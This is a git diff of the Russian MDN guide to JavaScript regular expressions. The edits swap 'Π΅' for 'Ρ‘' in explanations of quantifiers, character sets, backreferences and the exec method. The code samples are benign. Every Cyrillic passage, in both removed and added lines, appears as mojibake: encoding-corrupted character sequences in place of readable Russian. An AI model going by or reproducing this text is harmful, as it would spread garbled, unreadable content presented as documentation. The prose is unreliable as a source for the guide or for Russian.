- <td>(Волько ΠΊΠΎΠ³Π΄Π° установлСн Ρ„Π»Π°Π³ <code>u</code>.) Π‘ΠΎΠ²ΠΏΠ°Π΄Π΅Ρ‚ с Unicode символом со Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ΠΌΒ  <code>U+<em>hhhh</em></code> ΠΈΠ»ΠΈ <code>U+<em>hhhhh</em></code> (ΡˆΠ΅ΡΡ‚Π½Π°Π΄Ρ†Π°Ρ‚Π΅Ρ€ΠΈΡ‡Π½Ρ‹Π΅ Ρ†ΠΈΡ„Ρ€Ρ‹).</td>
+ <td>(Волько ΠΊΠΎΠ³Π΄Π° установлСн Ρ„Π»Π°Π³ <code>u</code>.) Π‘ΠΎΠ²ΠΏΠ°Π΄Ρ‘Ρ‚ с Unicode символом со Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ΠΌΒ  <code>U+<em>hhhh</em></code> ΠΈΠ»ΠΈ <code>U+<em>hhhhh</em></code> (ΡˆΠ΅ΡΡ‚Π½Π°Π΄Ρ†Π°Ρ‚Π΅Ρ€ΠΈΡ‡Π½Ρ‹Π΅ Ρ†ΠΈΡ„Ρ€Ρ‹).</td>
</tr>
<tr>
<td><code>\</code></td>
diff --git a/files/ru/web/javascript/guide/regular_expressions/index.html b/files/ru/web/javascript/guide/regular_expressions/index.html
index 1769079e27..d6a9f157de 100644
--- a/files/ru/web/javascript/guide/regular_expressions/index.html
+++ b/files/ru/web/javascript/guide/regular_expressions/index.html
@@ -26,7 +26,7 @@ translation_of: Web/JavaScript/Guide/Regular_Expressions
</pre>
</div>
- <p>ИспользованиС конструктора Π²Π»Π΅Ρ‡Π΅Ρ‚ Π·Π° собой ΠΊΠΎΠΌΠΏΠΈΠ»ΡΡ†ΠΈΡŽ рСгулярного выраТСния Π²ΠΎ врСмя исполнСния скрипта. Π˜ΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠΉΡ‚Π΅ Π΄Π°Π½Π½Ρ‹ΠΉ способ, Ссли Π·Π½Π°Π΅Ρ‚Π΅, Ρ‡Ρ‚ΠΎ Π²Ρ‹Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ Π±ΡƒΠ΄Π΅Ρ‚ ΠΈΠ·ΠΌΠ΅Π½ΡΡ‚ΡŒΡΡ ΠΈΠ»ΠΈ Π½Π΅ Π·Π½Π°Π΅Ρ‚Π΅ шаблон Π·Π°Ρ€Π°Π½Π΅Π΅. НапримСр вы ΠΏΠΎΠ»ΡƒΡ‡Π°Π΅Ρ‚Π΅ Π΅Π³ΠΎ ΠΈΠ· стороннСго источника, ΠΏΡ€ΠΈ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΎΠΌ Π²Π²ΠΎΠ΄Π΅.</p>
+ <p>ИспользованиС конструктора Π²Π»Π΅Ρ‡Ρ‘Ρ‚ Π·Π° собой ΠΊΠΎΠΌΠΏΠΈΠ»ΡΡ†ΠΈΡŽ рСгулярного выраТСния Π²ΠΎ врСмя исполнСния скрипта. Π˜ΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠΉΡ‚Π΅ Π΄Π°Π½Π½Ρ‹ΠΉ способ, Ссли Π·Π½Π°Π΅Ρ‚Π΅, Ρ‡Ρ‚ΠΎ Π²Ρ‹Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ Π±ΡƒΠ΄Π΅Ρ‚ ΠΈΠ·ΠΌΠ΅Π½ΡΡ‚ΡŒΡΡ ΠΈΠ»ΠΈ Π½Π΅ Π·Π½Π°Π΅Ρ‚Π΅ шаблон Π·Π°Ρ€Π°Π½Π΅Π΅. НапримСр вы ΠΏΠΎΠ»ΡƒΡ‡Π°Π΅Ρ‚Π΅ Π΅Π³ΠΎ ΠΈΠ· стороннСго источника, ΠΏΡ€ΠΈ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΎΠΌ Π²Π²ΠΎΠ΄Π΅.</p>
</li>
</ul>
@@ -36,7 +36,7 @@ translation_of: Web/JavaScript/Guide/Regular_Expressions
<h3 id="ИспользованиС_простых_шаблонов">ИспользованиС простых шаблонов</h3>
-<p>ΠŸΡ€ΠΎΡΡ‚Ρ‹Π΅ ΡˆΠ°Π±Π»ΠΎΠ½Ρ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ΡΡ для нахоТдСния прямого соотвСтствия Π² тСкстС. НапримСр, шаблон <code>/abc/</code> соотвСтствуСт ΠΊΠΎΠΌΠ±ΠΈΠ½Π°Ρ†ΠΈΠΈ символов Π² строкС  Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΊΠΎΠ³Π΄Π° символы 'abc' Π²ΡΡ‚Ρ€Π΅Ρ‡Π°ΡŽΡ‚ΡΡ вмСстС ΠΈ Π² Ρ‚ΠΎΠΌ ΠΆΠ΅ порядкС. Π’Π°ΠΊΠΎΠ΅ сопоставлСниС ΠΏΡ€ΠΎΠΈΠ·ΠΎΠΉΠ΄Π΅Ρ‚ Π² строкС "Hi, do you know your abc's?" ΠΈ "The latest airplane designs evolved from slabcraft." Π’ ΠΎΠ±ΠΎΠΈΡ… случаях сопоставлСниС ΠΏΡ€ΠΎΠΈΠ·ΠΎΠΉΠ΄Π΅Ρ‚ с подстрокой 'abc'. БопоставлСниС Π½Π΅ ΠΏΡ€ΠΎΠΈΠ·ΠΎΠΉΠ΄Π΅Ρ‚ Π² строкС "Grab crab", ΠΏΠΎΡ‚ΠΎΠΌΡƒ Ρ‡Ρ‚ΠΎ ΠΎΠ½Π° Π½Π΅ содСрТит подстроку 'abc'.</p>
+<p>ΠŸΡ€ΠΎΡΡ‚Ρ‹Π΅ ΡˆΠ°Π±Π»ΠΎΠ½Ρ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ΡΡ для нахоТдСния прямого соотвСтствия Π² тСкстС. НапримСр, шаблон <code>/abc/</code> соотвСтствуСт ΠΊΠΎΠΌΠ±ΠΈΠ½Π°Ρ†ΠΈΠΈ символов Π² строкС  Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΊΠΎΠ³Π΄Π° символы 'abc' Π²ΡΡ‚Ρ€Π΅Ρ‡Π°ΡŽΡ‚ΡΡ вмСстС ΠΈ Π² Ρ‚ΠΎΠΌ ΠΆΠ΅ порядкС. Π’Π°ΠΊΠΎΠ΅ сопоставлСниС ΠΏΡ€ΠΎΠΈΠ·ΠΎΠΉΠ΄Ρ‘Ρ‚ Π² строкС "Hi, do you know your abc's?" ΠΈ "The latest airplane designs evolved from slabcraft." Π’ ΠΎΠ±ΠΎΠΈΡ… случаях сопоставлСниС ΠΏΡ€ΠΎΠΈΠ·ΠΎΠΉΠ΄Ρ‘Ρ‚ с подстрокой 'abc'. БопоставлСниС Π½Π΅ ΠΏΡ€ΠΎΠΈΠ·ΠΎΠΉΠ΄Ρ‘Ρ‚ Π² строкС "Grab crab", ΠΏΠΎΡ‚ΠΎΠΌΡƒ Ρ‡Ρ‚ΠΎ ΠΎΠ½Π° Π½Π΅ содСрТит подстроку 'abc'.</p>
<h3 id="ИспользованиС_ΡΠΏΠ΅Ρ†ΠΈΠ°Π»ΡŒΠ½Ρ‹Ρ…_символов">ИспользованиС ΡΠΏΠ΅Ρ†ΠΈΠ°Π»ΡŒΠ½Ρ‹Ρ… символов</h3>
@@ -171,13 +171,13 @@ translation_of: Web/JavaScript/Guide/Regular_Expressions
<td>
<p>m ΠΈ n - ΠΏΠΎΠ»ΠΎΠΆΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹Π΅ Ρ†Π΅Π»Ρ‹Π΅. БоотвСтствуСт ΠΊΠ°ΠΊ ΠΌΠΈΠ½ΠΈΠΌΡƒΠΌΒ <code>n</code> ΠΈ максимум <code>m</code> вхоТдСниям ΠΏΡ€Π΅Π΄Ρ‹Π΄ΡƒΡ‰Π΅Π³ΠΎ символа. ΠŸΡ€ΠΈ m=n=1 пропускаСтся.</p>
- <p>НапримСр, <code>/a{1,3}/</code> Π½ΠΈΡ‡Π΅ΠΌΡƒ Π½Π΅ соотвСтствуСт Π² строкС "cndy", символу 'a' Π² "candy," Π΄Π²ΡƒΠΌ Π°Β Π² "caandy," ΠΈ Ρ‚Ρ€Π΅ΠΌ ΠΏΠ΅Ρ€Π²Ρ‹ΠΌ Π° Π²Β "caaaaaaandy". ΠžΡ‚ΠΌΠ΅Ρ‚ΠΈΠΌ, Ρ‡Ρ‚ΠΎ ΠΏΡ€ΠΈ сопоставлСнии "caaaaaaandy", совпадаСт "aaa", хотя ΠΈΠ·Π½Π°Ρ‡Π°Π»ΡŒΠ½Π°Ρ строка содСрТит большС Π°.</p>
+ <p>НапримСр, <code>/a{1,3}/</code> Π½ΠΈΡ‡Π΅ΠΌΡƒ Π½Π΅ соотвСтствуСт Π² строкС "cndy", символу 'a' Π² "candy," Π΄Π²ΡƒΠΌ Π°Β Π² "caandy," ΠΈ Ρ‚Ρ€Ρ‘ΠΌ ΠΏΠ΅Ρ€Π²Ρ‹ΠΌ Π° Π²Β "caaaaaaandy". ΠžΡ‚ΠΌΠ΅Ρ‚ΠΈΠΌ, Ρ‡Ρ‚ΠΎ ΠΏΡ€ΠΈ сопоставлСнии "caaaaaaandy", совпадаСт "aaa", хотя ΠΈΠ·Π½Π°Ρ‡Π°Π»ΡŒΠ½Π°Ρ строка содСрТит большС Π°.</p>
</td>
</tr>
<tr>
<td><a href="#special-character-set" id="special-character-set" name="special-character-set"><code>[xyz]</code></a></td>
<td>
- <p>Набор символов. БоотвСтствуСт Π»ΡŽΠ±ΠΎΠΌΡƒ символу ΠΈΠ· пСрСчислСнных. МоТно ΡƒΠΊΠ°Π·Π°Ρ‚ΡŒ Π΄ΠΈΠ°ΠΏΠ°Π·ΠΎΠ½ символов, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ Ρ‚ΠΈΡ€Π΅. Π‘ΠΏΠ΅Ρ†ΠΈΠ°Π»ΡŒΠ½Ρ‹Π΅ символы (ΠΊΠ°ΠΊ Ρ‚ΠΎΡ‡ΠΊΠ° (<code>.</code>) ΠΈ Π·Π²Π΅Π·Π΄ΠΎΡ‡ΠΊΠ°Β (<code>*</code>)) Π½Π΅ ΠΈΠΌΠ΅ΡŽΡ‚ ΡΠΏΠ΅Ρ†ΠΈΠ°Π»ΡŒΠ½ΠΎΠ³ΠΎ значСния Π²Π½ΡƒΡ‚Ρ€ΠΈ Ρ‚Π°ΠΊΠΎΠ³ΠΎ Π½Π°Π±ΠΎΡ€Π°. Π˜Ρ… Π½Π΅ Π½Π°Π΄ΠΎ ΡΠΊΡ€Π°Π½ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ. Π­ΠΊΡ€Π°Π½ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅ Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚ Ρ‚Π°ΠΊΠΆΠ΅.</p>
+ <p>Набор символов. БоотвСтствуСт Π»ΡŽΠ±ΠΎΠΌΡƒ символу ΠΈΠ· пСрСчислСнных. МоТно ΡƒΠΊΠ°Π·Π°Ρ‚ΡŒ Π΄ΠΈΠ°ΠΏΠ°Π·ΠΎΠ½ символов, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ Ρ‚ΠΈΡ€Π΅. Π‘ΠΏΠ΅Ρ†ΠΈΠ°Π»ΡŒΠ½Ρ‹Π΅ символы (ΠΊΠ°ΠΊ Ρ‚ΠΎΡ‡ΠΊΠ° (<code>.</code>) ΠΈ Π·Π²Ρ‘Π·Π΄ΠΎΡ‡ΠΊΠ°Β (<code>*</code>)) Π½Π΅ ΠΈΠΌΠ΅ΡŽΡ‚ ΡΠΏΠ΅Ρ†ΠΈΠ°Π»ΡŒΠ½ΠΎΠ³ΠΎ значСния Π²Π½ΡƒΡ‚Ρ€ΠΈ Ρ‚Π°ΠΊΠΎΠ³ΠΎ Π½Π°Π±ΠΎΡ€Π°. Π˜Ρ… Π½Π΅ Π½Π°Π΄ΠΎ ΡΠΊΡ€Π°Π½ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ. Π­ΠΊΡ€Π°Π½ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅ Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚ Ρ‚Π°ΠΊΠΆΠ΅.</p>
<p>НапримСр, <code>[abcd]</code> эквивалСнтна <span style="font-family: monospace;">[</span><code>a-d]</code>. Они ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‚ 'b' Π² "brisket" ΠΈ 'c' Π² "city". <code>/[a-z.]+/</code> ΠΈ <code>/[\w.]+/</code> ΠΎΠ±Π΅ ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‚ всСму Π² "test.i.ng".</p>
</td>
@@ -283,7 +283,7 @@ translation_of: Web/JavaScript/Guide/Regular_Expressions
<tr>
<td><a href="#special-word" id="special-word" name="special-word"><code>\w</code></a></td>
<td>
- <p>БоотвСтствуСт Π»ΡŽΠ±ΠΎΠΌΡƒ Ρ†ΠΈΡ„Ρ€ΠΎΠ±ΡƒΠΊΠ²Π΅Π½Π½ΠΎΠΌΡƒ символу Π²ΠΊΠ»ΡŽΡ‡Π°Ρ Π½ΠΈΠΆΠ½Π΅Π΅ ΠΏΠΎΠ΄Ρ‡Π΅Ρ€ΠΊΠΈΠ²Π°Π½ΠΈΠ΅. Π­ΠΊΠ²ΠΈΠ²Π°Π»Π΅Π½Ρ‚Π΅Π½ <code>[A-Za-z0-9_]</code>.</p>
+ <p>БоотвСтствуСт Π»ΡŽΠ±ΠΎΠΌΡƒ Ρ†ΠΈΡ„Ρ€ΠΎΠ±ΡƒΠΊΠ²Π΅Π½Π½ΠΎΠΌΡƒ символу Π²ΠΊΠ»ΡŽΡ‡Π°Ρ Π½ΠΈΠΆΠ½Π΅Π΅ ΠΏΠΎΠ΄Ρ‡Ρ‘Ρ€ΠΊΠΈΠ²Π°Π½ΠΈΠ΅. Π­ΠΊΠ²ΠΈΠ²Π°Π»Π΅Π½Ρ‚Π΅Π½ <code>[A-Za-z0-9_]</code>.</p>
<p>НапримСр, <code>/\w/</code> совпадаСт с 'a' Π² "apple," '5' Π² "$5.28," ΠΈ '3' Π² "3D."</p>
</td>
@@ -299,7 +299,7 @@ translation_of: Web/JavaScript/Guide/Regular_Expressions
<tr>
<td><a href="#special-backreference" id="special-backreference" name="special-backreference"><code>\<em>n</em></code></a></td>
<td>
- <p>Π“Π΄Π΅ <em>n</em> это ΠΏΠΎΠ»ΠΎΠΆΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΠ΅ Ρ†Π΅Π»ΠΎΠ΅, обратная ссылка Π½Π° послСднюю Π½Π°ΠΉΠ΄Π΅Π½Π½ΡƒΡŽ подстроку, ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰ΡƒΡŽΒ <em>n</em>Β , Π·Π°ΠΊΠ»ΡŽΡ‡Π΅Π½Π½ΡƒΡŽ Π² ΠΊΡ€ΡƒΠ³Π»Ρ‹Π΅ скобки Π² рСгулярном Π²Ρ‹Ρ€Π°ΠΆΠ΅Π½ΠΈΠΈ (считая Π»Π΅Π²Ρ‹Π΅ скобки).</p>
+ <p>Π“Π΄Π΅ <em>n</em> это ΠΏΠΎΠ»ΠΎΠΆΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΠ΅ Ρ†Π΅Π»ΠΎΠ΅, обратная ссылка Π½Π° послСднюю Π½Π°ΠΉΠ΄Π΅Π½Π½ΡƒΡŽ подстроку, ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰ΡƒΡŽΒ <em>n</em>Β , Π·Π°ΠΊΠ»ΡŽΡ‡Ρ‘Π½Π½ΡƒΡŽ Π² ΠΊΡ€ΡƒΠ³Π»Ρ‹Π΅ скобки Π² рСгулярном Π²Ρ‹Ρ€Π°ΠΆΠ΅Π½ΠΈΠΈ (считая Π»Π΅Π²Ρ‹Π΅ скобки).</p>
<p>НапримСр, <code>/apple(,)\sorange\1/</code> соотвСтствуСт 'apple, orange,' Π² "apple, orange, cherry, peach."</p>
</td>
@@ -375,7 +375,7 @@ translation_of: Web/JavaScript/Guide/Regular_Expressions
</tbody>
</table>
-<p>Π§Ρ‚ΠΎΠ±Ρ‹ просто ΡƒΠ·Π½Π°Ρ‚ΡŒ Π΅ΡΡ‚ΡŒ Π»ΠΈ Π² строкС Ρ‡Ρ‚ΠΎ Π»ΠΈΠ±ΠΎ ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰Π΅Π΅ ΡˆΠ°Π±Π»ΠΎΠ½Ρƒ, Π²ΠΎΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠΉΡ‚Π΅ΡΡŒ ΠΌΠ΅Ρ‚ΠΎΠ΄Π°ΠΌΠΈ <code>test</code> ΠΈΠ»ΠΈ <code>search</code>; Π° Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ большС ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ ΠΏΠΎΠ»ΡŒΠ·ΡƒΠΉΡ‚Π΅ΡΡŒ ΠΌΠ΅Ρ‚ΠΎΠ΄Π°ΠΌΠΈ <code>exec</code> ΠΈΠ»ΠΈ <code>match</code> (хотя эти ΠΌΠ΅Ρ‚ΠΎΠ΄Π° Ρ€Π°Π±ΠΎΡ‚Π°ΡŽΡ‚ ΠΌΠ΅Π΄Π»Π΅Π½Π½Π΅Π΅). Если Π²Ρ‹ ΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚Π΅ΡΡŒ <code>exec</code> ΠΈΠ»ΠΈ <code>match</code> ΠΈ Ссли совпадСния Π΅ΡΡ‚ΡŒ, эти ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹ Π²Π΅Ρ€Π½ΡƒΡ‚ массив ΠΈ ΠΎΠ±Π½ΠΎΠ²Π»Π΅Π½Π½Ρ‹Π΅ свойства ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° ассоциированного рСгулярного выраТСния Π° Ρ‚Π°ΠΊΠΆΠ΅ ΠΏΡ€Π΅Π΄ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½ΠΎΠ³ΠΎ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° <code>RegExp </code>рСгулярного выраТСния. Если совпадСний Π½Π΅Ρ‚, ΠΌΠ΅Ρ‚ΠΎΠ΄ <code>exec</code> Π²Π΅Ρ€Π½Π΅Ρ‚ <code>null</code> (ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ сконвСртируСтся Π²Β  <code>false</code>).</p>
+<p>Π§Ρ‚ΠΎΠ±Ρ‹ просто ΡƒΠ·Π½Π°Ρ‚ΡŒ Π΅ΡΡ‚ΡŒ Π»ΠΈ Π² строкС Ρ‡Ρ‚ΠΎ Π»ΠΈΠ±ΠΎ ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰Π΅Π΅ ΡˆΠ°Π±Π»ΠΎΠ½Ρƒ, Π²ΠΎΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠΉΡ‚Π΅ΡΡŒ ΠΌΠ΅Ρ‚ΠΎΠ΄Π°ΠΌΠΈ <code>test</code> ΠΈΠ»ΠΈ <code>search</code>; Π° Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ большС ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ ΠΏΠΎΠ»ΡŒΠ·ΡƒΠΉΡ‚Π΅ΡΡŒ ΠΌΠ΅Ρ‚ΠΎΠ΄Π°ΠΌΠΈ <code>exec</code> ΠΈΠ»ΠΈ <code>match</code> (хотя эти ΠΌΠ΅Ρ‚ΠΎΠ΄Π° Ρ€Π°Π±ΠΎΡ‚Π°ΡŽΡ‚ ΠΌΠ΅Π΄Π»Π΅Π½Π½Π΅Π΅). Если Π²Ρ‹ ΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚Π΅ΡΡŒ <code>exec</code> ΠΈΠ»ΠΈ <code>match</code> ΠΈ Ссли совпадСния Π΅ΡΡ‚ΡŒ, эти ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹ Π²Π΅Ρ€Π½ΡƒΡ‚ массив ΠΈ ΠΎΠ±Π½ΠΎΠ²Π»Ρ‘Π½Π½Ρ‹Π΅ свойства ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° ассоциированного рСгулярного выраТСния Π° Ρ‚Π°ΠΊΠΆΠ΅ ΠΏΡ€Π΅Π΄ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½ΠΎΠ³ΠΎ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° <code>RegExp </code>рСгулярного выраТСния. Если совпадСний Π½Π΅Ρ‚, ΠΌΠ΅Ρ‚ΠΎΠ΄ <code>exec</code> Π²Π΅Ρ€Π½Ρ‘Ρ‚ <code>null</code> (ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ сконвСртируСтся Π²Β  <code>false</code>).</p>
<p>Π’ слСд. ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅, скрипт ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ ΠΌΠ΅Ρ‚ΠΎΠ΄ <code>exec</code> Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π½Π°ΠΉΡ‚ΠΈ совпадСния Π² строкС.</p>
@@ -388,13 +388,13 @@ var myArray = myRe.exec("cdbbdbsbz");
<pre class="brush: js notranslate">var myArray = /d(b+)d/g.exec("cdbbdbsbz");
</pre>
-<p>Если Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ ΡΠΊΠΎΠ½ΡΡ‚Ρ€ΡƒΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ рСгулярноС Π²Ρ‹Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ ΠΈΠ· строки, Π΄Ρ€ΡƒΠ³ΠΎΠΉ способ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ это ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Π½ Π½ΠΈΠΆΠ΅:</p>
+<p>Если Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ ΡΠΊΠΎΠ½ΡΡ‚Ρ€ΡƒΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ рСгулярноС Π²Ρ‹Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ ΠΈΠ· строки, Π΄Ρ€ΡƒΠ³ΠΎΠΉ способ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ это ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Π½ Π½ΠΈΠΆΠ΅:</p>
<pre class="brush: js notranslate">var myRe = new RegExp("d(b+)d", "g");
var myArray = myRe.exec("cdbbdbsbz");
</pre>
-<p>Π‘ ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ этих скриптов, поиск совпадСния Π·Π°Π²Π΅Ρ€ΡˆΠ°Π΅Ρ‚ΡΡ ΠΈ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ массив ΠΈ ΠΎΠ±Π½ΠΎΠ²Π»Π΅Π½Π½Ρ‹Π΅ свойства ΠΏΠΎΠΊΠ°Π·Π°Π½Π½Ρ‹Π΅Β  Π² слСд. Ρ‚Π°Π±Π»ΠΈΡ†Π΅.</p>
+<p>Π‘ ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ этих скриптов, поиск совпадСния Π·Π°Π²Π΅Ρ€ΡˆΠ°Π΅Ρ‚ΡΡ ΠΈ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ массив ΠΈ ΠΎΠ±Π½ΠΎΠ²Π»Ρ‘Π½Π½Ρ‹Π΅ свойства ΠΏΠΎΠΊΠ°Π·Π°Π½Π½Ρ‹Π΅Β  Π² слСд. Ρ‚Π°Π±Π»ΠΈΡ†Π΅.</p>
<table class="fullwidth-table">
<caption>Table 4.3 Π Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚Ρ‹ выполнСния рСгулярного выраТСния</caption>
@@ -431,7 +431,7 @@ var myArray = myRe.exec("cdbbdbsbz");
<tr>
<td rowspan="2"><code>myRe</code></td>
<td><code>lastIndex</code></td>
- <td>ИндСкс с ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ³ΠΎ начнСтся слСд. поиск совпадСния. (Π­Ρ‚ΠΎ свойство опрСдСляСтся Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Ссли рСгулярноС Π²Ρ‹Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ g, описанный Π² {{ web.link("#Advanced_Searching_With_Flags", "Advanced Searching With Flags") }}.)</td>
+ <td>ИндСкс с ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ³ΠΎ начнётся слСд. поиск совпадСния. (Π­Ρ‚ΠΎ свойство опрСдСляСтся Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Ссли рСгулярноС Π²Ρ‹Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ g, описанный Π² {{ web.link("#Advanced_Searching_With_Flags", "Advanced Searching With Flags") }}.)</td>
<td><code>5</code></td>
</tr>
<tr>
@@ -471,7 +471,7 @@ console.log("The value of lastIndex is " + /d(b+)d/g.lastIndex);
<h3 id="ИспользованиС_скобочных_Π²Ρ‹Ρ€Π°ΠΆΠ΅Π½ΠΈΠΉ_для_нахоТдСния_подстрок">ИспользованиС скобочных выраТСний для нахоТдСния подстрок</h3>
-<p>ИспользованиС скобок Π² шаблонС рСгулярного выраТСния ΠΏΠΎΠ²Π»Π΅Ρ‡Π΅Ρ‚ "Π·Π°ΠΏΠΎΠΌΠΈΠ½Π°Π½ΠΈΠ΅" совпавшСй подстроки. Для ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π°, <code>/a(b)c/</code> Π²Ρ‹Π·ΠΎΠ²Π΅Ρ‚ совпадСниС 'abc' ΠΈ Π·Π°ΠΏΠΎΠΌΠ½ΠΈΡ‚ 'b'. Π§Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ совпадСния скобочного выраТСния ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠΉΡ‚Π΅Β <code>Array</code> elements <code>[1]</code>, ..., <code>[n]</code>.</p>
+<p>ИспользованиС скобок Π² шаблонС рСгулярного выраТСния ΠΏΠΎΠ²Π»Π΅Ρ‡Ρ‘Ρ‚ "Π·Π°ΠΏΠΎΠΌΠΈΠ½Π°Π½ΠΈΠ΅" совпавшСй подстроки. Для ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π°, <code>/a(b)c/</code> Π²Ρ‹Π·ΠΎΠ²Π΅Ρ‚ совпадСниС 'abc' ΠΈ Π·Π°ΠΏΠΎΠΌΠ½ΠΈΡ‚ 'b'. Π§Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ совпадСния скобочного выраТСния ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠΉΡ‚Π΅Β <code>Array</code> elements <code>[1]</code>, ..., <code>[n]</code>.</p>
<p>Число Π²ΠΎΠ·ΠΌΠΎΠΆΠ½Ρ‹Ρ… скобочных подстрок Π½Π΅ΠΎΠ³Ρ€Π°Π½ΠΈΡ‡Π΅Π½ΠΎ. Π’ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅ΠΌΡ‹ΠΉ массив содСрТит всС ΠΏΠΎΠ»ΡƒΡ‡Π΅Π½Π½Ρ‹Π΅ совпадСния, ΡƒΠ΄ΠΎΠ²Π»Π΅Ρ‚Π²ΠΎΡ€ΡΡŽΡ‰ΠΈΠ΅ Π²Ρ‹Ρ€Π°ΠΆΠ΅Π½ΠΈΡŽ Π² скобках. Π‘Π»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΉ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ ΠΏΠΎΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚ ΠΊΠ°ΠΊ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ скобочныС выраТСния для нахоТдСния подстрок.</p>
@@ -557,7 +557,7 @@ console.log(myArray);
<h3 id="ИзмСнСниС_порядка_Π²_Π˜ΡΡ…ΠΎΠ΄Π½ΠΎΠΉ_Π‘Ρ‚Ρ€ΠΎΠΊΠ΅">ИзмСнСниС порядка Π² Π˜ΡΡ…ΠΎΠ΄Π½ΠΎΠΉ Π‘Ρ‚Ρ€ΠΎΠΊΠ΅</h3>
